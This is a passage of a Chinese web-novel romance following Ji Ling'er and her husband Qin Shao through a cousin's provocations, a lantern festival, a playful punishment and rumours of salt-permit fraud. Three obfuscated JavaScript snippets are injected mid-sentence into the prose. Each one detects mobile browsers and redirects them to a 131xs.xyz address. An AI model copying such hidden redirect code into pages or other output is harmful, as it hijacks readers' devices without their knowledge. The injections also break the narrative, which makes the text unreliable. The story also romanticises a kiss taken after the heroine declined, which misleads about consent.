至前院，凌烟欣喜围着梅树打量两圈，十分意外道：“竟真好好长在这里，我还以为......” 话说一半吊足胃口，季灵儿没忍住发问：“以为什么？” “嫂嫂不知这绿梅来历吗？”凌烟不答反问。 季灵儿摇头。 “那我可不好多说了，还是嫂嫂自己问表兄吧。”她轻飘飘回一句，却笑的颇有深意。 季灵儿整颗心被人攥在最高点吊着，语气黯下来：“表妹先自个儿赏着，我去煮茶。” 并非真的煮茶，只是找个借口避开，省得同不熟之人的尴尬相处罢了。 一进屋子，玉秀先按捺不住，满是不忿问秋棠：“你们这位表小姐是何居心？还有那梅树，有什么渊源吗？” 季灵儿不在意的，但玉秀既问出，她不介意跟着听一听答案。 秋棠即便知道表小姐居心也不敢妄论，只好回答后半句：“那梅树......是大爷亲手栽的。” “为那位表小姐栽的？”玉秀说话总一针见血。 秋棠思量片刻，低声道：“不能算是......” 玉秀讥嘲道：“不能算，便是有算的成分咯？” 她自然不是针对秋菊，但季灵儿依旧没明白，玉秀为何比自己还激动。 秋棠不愿以讹传讹，有些为难道：“我入府是梅花便在了，知道的并不细致。” “罢了，”季灵儿往窗外探了一眼，打断二人对话：“来者是客，去瞧瞧大爷回来没，没回来去请一遭，让他陪着表妹别怠慢人家。” 秋棠问：“您不出去了吗？” “我没睡饱，眼下困意上头，没有精神了，替我向客人致歉罢。”季灵儿说着打着哈欠往里屋进。 秋棠出去招呼，玉秀抿着嘴跟进来替她卸钗环，不甘心道：“您何必避着，还给他二人腾空间。” 季灵儿：“表妹如今已出阁，这话不可胡说，我的确困得紧，懒得陪着演戏。” ... 秦劭回来，得知季灵儿回房补觉，剑眉不由折起，问站在梅树下的凌烟：“你同她说什么了？” 凌烟看他焦急觉着有趣，指尖挑着未完全绽放的花苞，道：“表兄这话好没道理，我能同她说什么。” 顿了顿，凑近些问：“或者，表兄怕我同她说什么？” “你已为人妻，莫要再任性。”秦劭退半步避开，语气清寒，端的是兄长威严。 涂着豆蔻的指尖在枝头一掐，花苞飘然落地，凌烟抬眼笑得无辜：“嫂嫂还说表兄温柔，真该让她看看你如今板着脸训人模样。” 她见过。秦劭在心中回。 对他的沉默凌烟见怪不怪，选两枝品相不错的梅枝折下丢给丫鬟，“拿回去插好。” 旋即佯作后知后觉道：“哦，我晓得了，表兄怕嫂嫂因这棵梅树生出误会。” “我与你之间，有何好令人误会的？” “既没有，你紧张什么？” “......” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16409287|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又不说话了，他还是一如既往无趣。 凌烟最擅长自己找乐子，躬身捶两下腿肚，捻着委屈道：“在外头站了大半晌腿都酸了，表兄不请我进屋喝杯茶吗？” “我不得空，你去找母亲和祖母喝茶罢。”秦劭说完便遣人送客。 凌烟也不恼，当真直起身板，“论茶，还是四舅母屋里的好，我去她那里坐坐。” 眼中明晃晃的狡黠晃着秦劭心神，肃声改口：“随我去书房。” 一进书房，秦劭屏退左右，端坐圈椅上问她：“说吧，你翻扯陈年旧事到底要做什么？” “不做什么，好玩。”凌烟如儿时一般，拨着他笔架上的狼毫，看它们左右碰撞。 秦劭懒得制止，语气冷峻道：“凌烟，你图有趣要有限度，我并非不能奈何你。” “怎么，要像从前一样罚我？” “关你几日禁闭，姑母想是能允的。”秦劭说，见她终于停了动作，补充道：“且我不会像姑母一样心软怕你不吃不喝，你那位小夫郎也进不了秦家大门。” 凌烟知他说得出便做得到，有些急了：“秦劭！你凭什么管我。” “凭你在祖母跟前长大，凭我是你兄长。”他不会一味纵容旁人踩他底线。 凌烟咬着“兄长”二字冷笑，真真是从小到大舍不掉他这身架子。 “真不知像你这样的怎么会有女子看上，姚氏眼皮子浅也罢了，小嫂嫂这般明媚灵巧的，到底喜欢你什么。” 秦劭语气瞬间缓下来：“她喜欢我？” 凌烟气笑了：“我说秦大当家，您动脑子想想，我才说两句便借口躲屋里，不是因为喜欢你吃味是什么？” 秦劭不以为然：“她是真的贪睡。” “......”凌烟半刻钟都不想再待下去。 秦劭不否认自己的无趣，所以很自然以为，季灵儿喜欢的，应是云衡那样鲜活有趣的少年郎，小姑娘本该配少年郎。 所以她不会喜欢自己，避开凌烟若非觉得烦，便是真想睡回笼觉。 然而面对季灵儿时仍旧没忍住解释：“凌烟自小喜爱绿梅，亲事定下后祖母欣喜，便要在我院子里栽种，严格讲，梅树是我遵从祖母意思栽的。” 季灵儿朦胧睡了一阵，此刻精神振奋，早晨的事也掀篇了，随意应了声“嗯。” 梅树同其秦劭用来令祖母欢喜的其他摆设一般，不过是尽孝道罢了，秦劭从未放在心上，因而昨晚没想起同她说这一桩事。 见状以为她有闷气，接着说：“我并非故意瞒你，你若不喜，我教人移到别处便是。” “不必了，挺好看的景致，移走怪可惜的。”抛开其他，她还挺喜欢那绿梅的，苍凉冬日里的绿意，格外令人心旷神怡。 “可以种你喜欢的花木。” 季灵儿觉得他今日格外啰嗦，凝眉看回去：“若日后这院再换旁人住，您是不是还要再换一次？” “嗯？”秦劭一时未没反应明白，“什么叫再换旁人住？” “我......随口一说的。”季灵儿讪笑，说罢赶紧岔开话题：“家宴后若无安排，我想出去逛灯会。” “好，我带你去。” 季灵儿尴尬了一瞬，缓缓道：“我是说......我约了旁人。” “云衡？” “嗯。” 秦劭在心中叹息一声，挪开目光不再看她。 “......去吧。” 34. 偶遇 元夕。 天际万树花开，星落如雨，人间灯影流转成彩练装点长街。 季灵儿玉簪束发，锦袍轻曳，一派清秀公子模样，提着一盏老虎灯与云衡并肩穿行于人潮。 边走边打趣他：“已经是第十个回眸瞧你的姑娘了，不枉你今日打扮的如此招眼。” 云衡今日着靓蓝色绣银纹长袍，玉带束腰，叮铃咣当坠着一串玲珑佩饰，青冠拢发，马尾肆意挥甩，星目映着灯火熠熠生辉，愈显得潇洒不羁。 “有吗？”云衡故作诧异地张望一周，不小心同一位回眸的女子视线相撞，对方羞红了脸匆匆低头前行，他全作没看见，脉脉看回身边人：“要瞧也是瞧咱两个。” 季灵儿睨他：“别攀扯，我可低调的紧。” “师兄们不都说咱俩像断袖么，她们定然也是因此好奇。”云衡语气肯定，说的煞有介事。 “......”季灵儿送他一个白眼，厌弃地拉开距离，“未免误会，我离你远些。” 云衡笑得肩膀直抖，跨步凑过去：“误会便误会。” 季灵儿推他：“哎，你贴这么近做什么，莫非真有那方面倾向？” “若有，你会同我在一处吗？”云衡轻笑出，街边花灯照映，眼尾染上绯色。 “我可没那癖好。” “那，倘若你是女子呢，会愿意嫁我吗？” 烟火在空中炸开，金丝银线倾泻而下，映得满城流光溢彩，刹那照亮了他含笑的眼。 季灵儿骂他一句，扭头走开。 云衡快走两步绕到前头，用身子将人堵住，灯火映在眸底，亮得灼人。 “快说快说，会不会？” 季灵儿因身份心虚，不答反问：“你怎么不假设自己是女子，问我会不会娶你。” 云衡想了想，点头道：“也成，那你会不会娶我？” “不会！”季灵儿一把推开他，“少拿这写荒唐的话打趣我。” 又一簇烟花腾空，裂帛声震荡心神，云衡觉出疼痛，缓了呼吸，疾步跟上远行的背影。 行到一处灯谜摊前，两人齐齐顿住脚步。 “师父？”云衡先出声。 季灵儿视线安静落在秦劭身边的人身上。 雪白绒毛簇拥着一张白日刚见过的秀美脸庞，是凌烟。 她本不欲打照面的，奈何二人已循着呼唤看过来，她勉强挂上浅笑，祈祷别被认出。 凌烟笑着看向秦劭：“表兄，这位小公子好眼熟。” 秦劭介绍：“云衡，你从前见过。” “云衡……二舅母娘家的衡哥啊，我说呢，几年不见长成俊俏公子了。”凌烟恍然，笑着同云衡道声好，“还记得我么？” 云衡含笑拱手：“记得，凌姑娘好。” “果真是长大，都不唤姐姐称我姑娘了。”凌烟掩唇揶揄，不甚在意，笑声落，目光再度转向季灵儿，话却是对秦劭说的：“可我方才问的是这位小公子。” “......”秦劭知她故意，思量如何开口，云衡抢先道：“这是我同门的小师弟，季凌。” 凌烟弯笑看一眼秦劭：“衡哥称你作师父，那这位小师弟，也是你徒弟咯？” 秦劭点头，算是应了。 凌烟轻晃手中团扇：“真有趣。” 有趣什么，分明是场麻烦，秦劭有些后悔与她同行，语气不善问：“你那位小夫郎呢，还没寻来吗？” 凌烟见秦劭独自出门，才故意道与夫君有约，诓他同行，闻言笑道：“急他做什么，我同表兄逛得很开心，眼下又偶遇两位俊俏小公子......人多热闹，咱们一同去吃盏酒如何？” 云衡不做主，看向季灵儿寻求意见，同时落下来的，还有秦劭的目光。 “不了，”季灵儿淡淡开口，“我们小辈胡闹惯了，不好叨扰两位尽兴。” 季灵儿说着拱手告辞，云衡不及多言，浅行一礼跟上。 “小辈，”凌烟被这道称呼逗笑，幸灾乐祸看回秦劭：“小嫂嫂生气了。” “你满意了？”秦劭眸色沉了沉，仍盯着两人消失的方向。 凌烟不答他，甩着扇子问：“表兄不去追吗？” 秦劭没回答，调转步子往反方向走。 季灵儿走出去很远，叉腰向云衡问罪：“先前我问你，你不是说不认识先生的表妹吗？” 云衡挠挠鼻子道：“少时有两次随母亲去秦家见过，只知是与师父有婚约的人，算不上认识，方才若非她唤师父表兄，我也认不出她来，还以为是师娘呢。” “师娘？” “是啊，上元佳节，师父又是新婚，合该跟师娘同游......”云衡很是奇怪。 季灵儿没来由地心虚：“怎就合该了？” “所谓月上柳梢头，人约黄昏后，民间故事里不少浪漫佳话发生在元夕，比夜正是有情人相会的良辰。” 云衡说这话含足了私心暗示。 季灵儿心思全然不在其上，驳道：“照你所言，不是有情人还不能游赏了？咱们两个不照样逛得开心。” 云衡这才意识到她情绪不对，疑问：“你怎么了，突然间跟被点火的炮仗似的。” “就事论事而已，觉得你言辞偏颇太过。” 云衡虽不知为何，还是老老实实认错：“是是是，是我失言。” 季灵儿心绪难平，再看天边烟火次第绽放，河面花灯随波流转，统统失了兴趣。 沉默许久，没头没脑蹦出来一句：“师娘不同先生一起逛庙会真这么不合情理吗？” “啊？”云衡被她问愣住，师父家事哪容他猜测置喙，含糊道：“这要看情况罢，兴许是师娘不爱出门。” “若是，师娘同旁人出门赏灯了呢？” 云衡又是一愣，心说那师父属实有点可怜，嘴上只道：“应是不会，没有这样的道理。” “是啊，没有这样的道理。”季灵儿小声喃喃。 她垂头盯着手里花灯，忖了半晌，对云衡道：“抱歉，我不能陪你逛了。” “为何？” “家中不许我在外待太久。”季灵儿随口诌道。 “我们尚未放河灯。”不止河灯，他还有话没同她说。 “下次吧。”季灵儿已失了兴致，再次跟他致歉，转身离开了。 灯火映得河面粼粼晃动，一盏花灯漂远，混入大片流光溢彩之中，云衡独自在桥下站了许久，才收回目光，转身往寂寂无人处走。 季灵儿沿着人群往回走，一路走一路张望，街市人实在多，根本觅不到想见的身影。 许是回府了？ 或是与凌烟藏在哪家酒楼对酒凭栏，共赏烟霞？ 脑海中闪过许多种可能，独独忘了想，自己因何这般执着于寻他。 以至于转过街角，撞见秦劭孤身立于灯影深处，问她“可是找不见云衡了”的时候，怔愣原地不知如何作答。 他在酒馆二楼倚栏独饮，从小姑娘出现在这条街上便注意到了，张望寻觅，似乎再找走散之人。与她同游的是云衡，那么答案唯有一个。 可是她摇了头，说：“我在找您。” “找我？”秦劭险些以为自己吃醉了。 季灵儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16416376|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郑重点了头，“您还想逛吗？我可以陪您。” * 万家灯火中，一驾马车疾驰驶过街巷，停在曹县宋宅的朱漆角门前。车门开启，宋燚先撑着车辕跃下，随即从车中抱出一名素纱掩面，身形纤弱的女子，阔步跨入府门。 闺房内烛火高燃，女子被卸下面纱放于榻上，面容苍白难掩清丽之姿，桃花眼半睁着，眸光黯淡涣散，似将燃烬的残香。 王氏扑倒在榻前，颤抖着握住女子冰凉的手：“芮宁，我的好女儿，这是遭了什么罪啊！” 宋员外满面愁容立于一旁，问宋燚：“从何处寻回来的？” 宋燚咬牙切齿说了一个县名，咒骂道：“那杀千刀的混蛋，骗妹妹私奔不说，还害的她小产，我若寻去的晚一步，妹妹怕是要葬身于乱坟岗了！” 王氏闻言，抽泣声骤然加剧，哭嚎着天不怜见，孩儿苦命。 宋燚满肚子怒火愈发旺盛，“爹，妹妹被磋磨到这种地步，绝不能便宜那家人！” 宋员外亦气愤，可理智告诉他，此事不能张扬，“事情闹大了丑闻传开，芮宁今后无法做人，何况......邻里都知道咱芮宁已许配给秦家，如今好好的当着秦家大少夫人呢。” “就这么便宜他们？”宋燚不忿。 “先稳住，莫让他们张扬此事，眼下最要紧的，是为芮宁治伤，让她养好身体，秦家那边……暂时不能惊动，等芮宁缓过这口气，咱们再从长计议。” * 季灵儿与秦劭一同赏了花灯，猜了灯谜，赢得的兔子灯实在拿不下，就地分给垂髫孩童，自己只留最初的一盏。秦劭手里则提着云衡送她的老虎灯。 闲庭信步，最后又走到她和云衡分别的小河边。 一名扎双螺髻的小姑娘提着满是荷花灯的竹篮，怯生生上前问：“公子们要买盏灯放吗？很便宜的。” 季灵儿看向秦劭，他从袖中取出一串钱递去：“要两盏。” 小姑娘摇摇头：“两盏不需这么多的。” “拿着便是。” “那我给公子两盏最大的！”小姑娘欢天喜地地双手接过，转递上两盏硕大的荷花灯。 待小姑娘转去寻觅下一个顾客，季灵儿笑他：“不愧是秦大爷，出手真是阔绰。” “我只是读出你的意思罢了。”清隽眉眼盛着笑，将花灯放她手中，“现在去放？” 季灵儿腾出手，捧着其中一盏花灯蹲在河边，燃起灯芯，虔诚阖眸许过愿，才将其放上河面。 “还有一盏。”秦劭蹲在她身侧，将另一盏莲花灯递到面前。 “您不放吗？” “我看你放就好。” 季灵儿不接，“一人一盏，先生快些放，还能同我的做个伴。” 此言戳中他心头柔软处，火光跃起映亮眸底温情，他照着她的模样短暂阖眸默念。 待两盏灯并肩浮于河面，季灵儿拿指尖荡起水波，让它们托着祝愿缓缓漂远。 “先生许的什么愿？”回去路上，季灵儿忍不住好奇。 他垂眸，目光与灯火一齐温柔覆在她眉睫上，笑了笑，温声回道：“愿季凌喜至庆来，永永其祥。” 季灵儿睫毛忽闪，半晌没吱声。 “怎么了？”秦劭问。 “很巧，我许的愿，竟与先生不谋而合。”她唇角微扬，藏了笑意望向他。 “是吗，那的确很巧。”秦劭浅笑应着。 他本就是替她许的愿，一样实在正常。 可他会错了季灵儿的意思，她许的愿并非为自己，而是——祝先生顺遂无虞，万福攸同。 35. 罚他 正月十六黄昏，梁宸如约到聚宝堂二楼，将汇票拍在案上。 他竟真拿来了。 鬼面人借光验看，眼中露出诧异，因藏在黑色兜帽下，未被隔着一张桌子的人瞧见，唯有粗哑的声音飘过去。 “小公子好本事。” 梁宸摊开掌心，语气强硬道：“废话少说，金蟾还我！” 鬼面人没废话，将金蟾连先前输掉的银子一并推回梁宸面前，“小公子点点，期待下次合作。” “没有下次！”梁宸揣好东西，气哼哼出了聚宝堂。 走到长街尽头，拐入一条暗巷，跟进来几个寻常百姓着装的人。 “给我盯紧聚宝堂前后门，发现其他暗门一并盯着，看见可疑之人就套麻袋拿下。”梁宸吩咐。 手下应声散去，他则转到临街的酒楼上，挑了视野好的位置坐等，聚宝堂门口一切风吹草动尽收眼底。 等了许久没见鬼面人和其他形迹可疑之人，约莫两盏茶后，却见一个无比熟悉的身影大摇大摆从里头走出。 是季灵儿。 握杯盏的酒紧得可见青筋。 她如何在？方才并未没留意她在里面，是因为他急于上二楼换回金蟾，还是...... 疑心起，抬手招呼随从悄悄尾随。 梁宸寻思，若非这野丫头他不会折了金蟾，更不会冒着被爹打残的风险偷汇票，无论她出现此处是否巧合，于他都有利无害。 是她搞的鬼，定要让她付出代价。 即便不是，跟着她到去处，说不定能摸出那位神秘义父的下落。 他要看看究竟是何方神圣。 季灵儿没走出长街意识到有人跟踪，勾唇轻笑，只假作不知，七拐八拐转过几条街巷，轻松将跟踪之人甩开。 心说就凭这点功夫还跟踪，真蠢。 ... 夜幕彻底降下时，梁宸已回到叠翠园，一名小厮回来复命，不是最初派去的那个。 “头一个果然被她发现甩掉了，还好少爷英明，命小的们交替跟踪。” 梁宸不耐烦道：“少拍马屁，说重点。” “她进了秦家角门。” “秦家？确定是秦家？”梁宸确认了两遍仍觉匪夷。 “绝不会错，”小厮笃定点头，“小的再眼拙也不会将秦家认错。” 右拳打在左边掌心，梁宸在屋中来回踱步，喃喃道：“难怪呢。” 难怪三年前她能拿走包袱好端端活到如今，还混进商行弟子班。 难怪先前怎么问爹都不肯说，甚至再三警告他不许多事。 竟然是秦家！ 可是......是秦家哪一房呢？ 脑海闪过师父的身影，很快摇头驱散，野丫头若是师父义女，不早早把尾巴翘到天上炫耀了，且师父刚娶亲，未听闻有妾室通房，绝对不是。 梁宸对秦家了解不多，旋即吩咐：“派人盯死秦府，挖出那撑腰之人，本少爷重重有赏。” * 季灵儿委实没想到梁宸能耐这般大，拿到汇票的顺利程度远超意料，回来途中又甩掉笨拙的追踪，因而心情格外好。 晚膳后见秦劭倚在暖炕上看书，主动提出帮他读。 拿到书卷，惊异道：“您竟还研读兵法？” “心血来潮翻了几页，你若觉无聊，可以换成旁的。” 季灵儿没去换，问过他看到何处，接续往下，逐字读来。 “视卒如婴儿，故可以与之赴深；视卒如爱子，故可与之俱死。厚而不能使，爱而不能令，乱而不能治，譬若骄子，不可用也。”① 至此处，季灵儿有些明白先生为何读兵法了，为将者，爱兵如子，亦要军纪严明，奖惩得当，师先生待弟子，有异曲同工之处。 如此忖着，抬眼看向秦劭，正捕捉到他撑着额角发呆的一瞬，目光所落之处，是自己的唇。 羞恼地将书甩在一旁，学他端起训人的架子：“先生听书不认真。” 秦劭倏然回神，瞧她形似神不似的嗔怪模样，勾唇一笑，眼底漫开暖意，顺着话回道：“一时不慎......要罚我吗？” 季灵儿将心比心，颇能理解听书困乏的感受，做样子只为吓他一遭，未敢想旁的，经此一问，反倒生起得寸进尺的坏心思。 “好啊，”她挺直身板，高高扬起下巴睨他，“那就罚板子吧。” 小姑娘还真敢讲。 秦劭无奈笑笑，追问：“罚多少？” “唔，”季灵儿点着指尖想了想，“念你初犯，暂且只罚五下。” 说完刻意挑起秀眉，一副“我很宽容”的模样。 五下不多，但足够她解解气。 丫鬟们没在跟前伺候，季灵儿便自己下榻去拿戒尺，折回时，秦劭已自觉坐直，掌心朝上伸出。 临下手时季灵儿还是略有紧张的，毕竟是师父。不过她很快说服自己，弟子打师父算忤逆，眼下不在学堂，她又顶着宋芮宁的身份，打几下自己夫君不算过分。 顶多算闺房之乐。 “闺房之乐”四字冒出时，先把她自己吓一跳，如何就想到这上面......定然是中邪。 “脸怎么红了？”秦劭的声音响起，唤回她思绪。 “这不是你该问的。”季灵儿故作正经板起脸，紧了紧戒尺，左手虚托他手背，扬手落下一道。 又快又狠，但偏了。 戒尺打在腕骨上，拇指下的地方，连着骨头，疼得秦劭皱起眉头。 “您方才是不是躲了一下。”季灵儿嘟囔。 秦劭垂眸看着隐有发红迹象的手，没说话。 打疼还把责任归咎到他身上，季灵儿亦觉出自己无理取闹，讪讪放下戒尺，“算了。” 秦劭的确在她落手时偷偷偏挪了半寸，几乎是下意识的行为，出于何种本能，他未深究。 “无事，不疼。”他说，“接下来我不躲就是。” 反过来安慰的语气令季灵儿心尖揪了一下，原本一句玩笑话，应了他的提议，白白惹出自己的愧疚来，烦躁地失了兴致，恹恹道：“不打了，书也不读了，您自个儿看吧。” 转身的刹那，秦劭恍然明白，他想看她的情绪为自己波动，想让她心疼。 急急伸手扯住她袖角，低声道：“若我说疼，可以换来一个补偿吗？” 季灵儿顿住脚，一脸困惑的看着他。 狭长的瑞凤眼尾端比平日略垂，闪闪烁烁似有慌张，神情亦不如先前泰然，透出几分怯意，细看又像试探。 她困惑于他如此反常的表现，却好奇地想探寻更多潜藏其中的反常情绪。 遂问：“您想要何补偿？” 秦劭不答，目光再次落在她翕张的唇上。 季灵儿敏锐察觉，抬手捂住，责问的声音从手掌缝隙钻出：“您方才跑神莫非就在想这些？” “是，”秦劭答得诚实，“尝过甜头，有些上瘾，你喜甜食不也是这道理吗？” “.... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422070|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ..”这是一回事吗？ 杏眸微瞠，颊上浮起薄红。 秦劭面色不改，转看进她眼中，正式且真诚地再次征询一见：“可以吗？” 季灵儿没答应。 但临睡之前，秦劭还是亲了她。 对此他解释为：“手上的疼没消下去，所以总想讨些补偿。” 说的话和方才的吻一样，耍赖意味十足。 他这次亲吻的时间比以往都长，长到季灵儿险些以为他想有别的动作，但他除了探索的舌尖，其他地方都很安分。 勉强算个君子，她在心中如此评价，于是很轻易原谅了这次不经同意的掠夺。 “下不为例。”她说。 “好。” ... 这日课间闲暇，几个师兄头对头围着一张桌子，外层还趴着几个探头往里看的，不知在看什么，间续有怪异的低笑传出来。 季灵儿从外头透气回来，好奇凑近去瞧，未走近胳膊被云衡握住，不由分说往外拉。 云衡：“没什么稀罕的，我给你看其他好东西。” 季灵儿太了解他了，越是如此越说明有猫腻，趁他不备挣脱，疾步跃回去，云衡折回再要拦时，她已伶俐地扒开人群挤到前头。 仅仅一眼，脸唰的烧红。 竟是本绘得极尽艳靡春宫图册！ “小师弟到底年纪小，脸皮竟这样薄。”师兄们笑得愈发暧昧，揶揄道。 大伙的注意力接连转到她脸上，纷纷开起玩笑，一群男子开起玩笑来没有忌讳，越说越不堪入耳，季灵儿就差找个地洞钻进去。 云衡上前制止：“快些收起来吧，师父马上回来了。” “食色，性也，师父也不能灭人欲不是。”有胆大者嚣张笑道。 云衡确实管不住旁人的嘴，拉着季灵儿往外走，“那我们出去。” 刚到门口迎面撞上秦劭，如霜的目光落在云衡拉扯季灵儿的手上，再往上挪，是她红的欲滴血的耳垂和脸颊。 他疑惑地“嗯”了一声。 季灵儿条件反射拨开云衡的手，独自绕过秦劭出去吹风缓和。 “看什么呢？”秦劭转而看向聚集的人群，图册被一只手迅速合上，塞进桌底。 众人支支吾吾说没什么。 秦劭略有所懂，没再追问，只肃声警告：“此处是研习经营学问的，以后不许带无关事物进来，违者严惩。” 季灵儿再回来时神色恢复如常，原以为这段插曲能就此翻篇，直到当晚陪老夫人说话回来，看见秦劭衣衫半解坐在榻上。 半干的长发犹带湿气，绸缎般披散在月白色中衣上，闻帘动，缓缓从书上抬眼看她，眸色沉静不带波澜。 却盯得她没来由心乱。 今日老夫人忽然唤她去陪着用晚膳，席间提及开枝散叶，她原已能熟练应付，怎料对方贴心问及二人同房是否契合，季灵儿反应许久才明白，言外之意是担心秦劭欺负她。 回院子的路上尚在想，老夫人为何有此误会，待会要向秦劭问问清楚，对上他目光的刹那，质问的话卡在嘴边。 还是秦劭先开口：“祖母说什么了？” “问我你是否欺负我。” 季灵儿说的含蓄，秦劭却露出一个了然于胸的笑。 她当即明白一二，没好气地追问：“是你说什么了？” 秦劭轻描淡写道：“祖母总关心二人行房之事，我没得敷衍，便说先头失了分寸，得让你缓和缓和。” 36. 纾解 季灵儿语塞。 秦劭竟颇骄傲地补充起来：“虽于我声名有损，但不失为一个好借口，祖母这几日没多过问。” 季灵儿咬唇瞪他，不情愿道：“是没问，只是日日叫人熬苦水送来给我喝。” “药膳里都是好物，喝了没坏处。” 季灵儿哼了哼。 “今日帮我读书吗？” 问的是读书，可他胸口衣襟微敞，烛光摇曳下，锁骨下起伏的小丘若隐若现，嗓音低沉有磁性，为这句话平添了几分暧昧意味。 且这几日读书，不止一次抓包他盯着自己发呆，虽说未做什么，可那眼神深深烙在她心上，搅得人心慌。 “不帮。”她答的斩钉截铁。 过去这么久，玉坠的事早该补偿够了。 秦劭收了笑意，默默垂眸看书，模样倒是认真。 季灵儿叫了水，径直去西次间沐浴。 不知是不是白日看了那图的缘故，水汽氤氲间，季灵儿不自觉低头多看自己好几眼，耳边不恰时响起先前嬷嬷教规矩时说的话。 关于夫妻行房的种种。 摇摇脑袋欲甩开，它们偏生根似的扎在脑海，头晃晕了也没起作用。 白日她只草草看一眼，但避火图，她可是在嬷嬷眼皮子下，切实浏览了许多。 各种画面如泄洪的水纷至沓来，其间胡乱掺杂进秦劭的影子，烛光下的模样竟与图中男子渐渐重合。 浴桶的水渐渐凉了，她反倒觉得浑身发烫，有股不知名的热流没有章法游走，很不舒坦。 最后停留的位置更让她羞臊难堪。 心口起伏不定，靠在浴桶边阖眸调解呼吸，思绪愈发纷乱，拨花瓣水的指尖无意识滑向腰侧，马上便要触到画卷中点睛之处时，猛然惊觉，迅速抽离。 从浴桶中腾起时带起一片水花，四散在地上。 玉秀打热水进来，慌忙将水桶放下，“呀”声惊呼：“您这是怎么了？” 说罢抽下浴衣裹住她湿透的身子。 “无事。”季灵儿敷衍道，紧紧攥起“罪恶”的手。 “您鼻子都出血了。”玉秀抽出帕子给她捂住。 鼻血止不住地流，帕子很快染红了一片，季灵儿被扶着出了西次间，坐在外间榻上。 秦劭取了外袍罩着她，顺势在身旁坐下，“去请郎中。” “不必了。”季灵儿嗡声阻止，唯恐郎中揭发自己因为胡思乱想引发流鼻血的糗事。 “不是大事，一会儿就好。”怕秦劭不应，补充道，“兴许是日日喝药膳闹的，万一传出去，难保祖母多心。” “......” 秦劭没再坚持，温柔帮她止血。 血终于止住，季灵儿尚未来得及松一口气，目光直愣愣撞进他领口，应是方才贴自己太近，衣襟被湿发浸透，半透明状贴在结实胸膛上，紧紧框出起伏的轮廓，比先前的若隐若现更摄人心魄。 水痕蜿蜒滑入衣襟深处，勾着她的目光往下游。 那些画面又涌上来，但很显然，眼前的风景比上面精彩百倍。 她不争气地咽了口水，怪异的感觉再度在体内奔窜，指尖发麻，呼吸慌乱，耳尖烧得厉害。 “还有哪里不舒服？”秦劭察觉她异样，低眸轻问。 她猛地别过脸，答非所问：“我以后不要喝药膳了。” “为何？”秦劭明知故问。 “太上火。” “只为这个？” “对。” “可是你身上烫的吓人。”烫的秦劭眼睛发红。 “许是方水太热。”她垂首攥紧衣角，不敢抬眼。 烛火尽灭，帷帐低垂，季灵儿身体里的火未烧尽，在榻上翻来覆去不舒服。 “季凌，”秦劭低声唤她，“你可是难受？” “没有。”她双腿缠着绣被，咬唇道。 过了良久，秦劭喑哑的声音响起，在幽黑的四方天地间徘徊。 “要不我帮你纾解一二？” “什，什么？”季灵儿急得一口咬在舌头上，好疼。 “无论男女，正直年岁有这样的反应很正常。”他端着讲学一般的语调道，只略微低沉些，“你不必害羞难堪。” “您莫说了。”季灵儿更急了，仗着目不视物去捂他的嘴，正因看不清，又捂的急，一巴掌拍在秦劭鼻梁上。 “......” “我不难受，您想多了，快睡罢，我只是累了，您再说话我要恼了。”她一口气说完所有话，翻身贴着墙壁睡去。 秦劭无声笑了笑，呼吸遁入沉寂。 ... 秦劭有两日没出现在叠翠园，由商行其他几位当家轮流授课。此番情形从前又常有，毕竟他身兼重担，难以将全部精力投在这群弟子身上。 然而近日秦劭的缺席，生出许多风言风语，大抵说民间传言商行倒卖盐引牟取暴利，此乃大当家在背后操纵。 河东府的商贾以秦姚两家为首，早年从中原运粮支持边塞军需，因此获取官府盐引，换盐售卖，逐渐发迹。盐引乃官营要物，私下加价倒卖是重罪，商行里几位当家家中均已堆金砌玉，竟还顶冒风险从中牟利。 对此有人斥其贪婪无厌，罔顾法纪，亦有人觉得无论秦劭还是商行，皆不至于此，坊间众说纷纭，风声传到叠翠园，弟子们难免跟着议论。 季灵儿听得眉头渐紧，猛地提高声音道：“先生为人正直，断不会做这等事！” 正在窃窃的几人被她清亮的声音吓一跳，解释道：“我们也不相信师父会做这种事，这不是外面传的嘛？” “是啊，而且传的有鼻子有眼，说盐引流转的账目上，有师父的私印。” 季灵儿笃定：“即便有，定然是宵小盗用或仿制的！” 弟子们比季灵儿早入学堂一年，多数是信秦劭为人的，不过是哪坊间传言分析其构陷的可能。 但季灵儿不愿他们多传播，叉腰瞪眼，凶狠道：“总之不许再传，否则别怪我不客气！” “小师弟怎么如此激动？” 林起听他们说亦不舒服，适时站起来维持场面：“外面如何说咱管不着，但咱们受教于师父，这园里便不能出现有污师父清名的话，大家还是莫要非议了。” 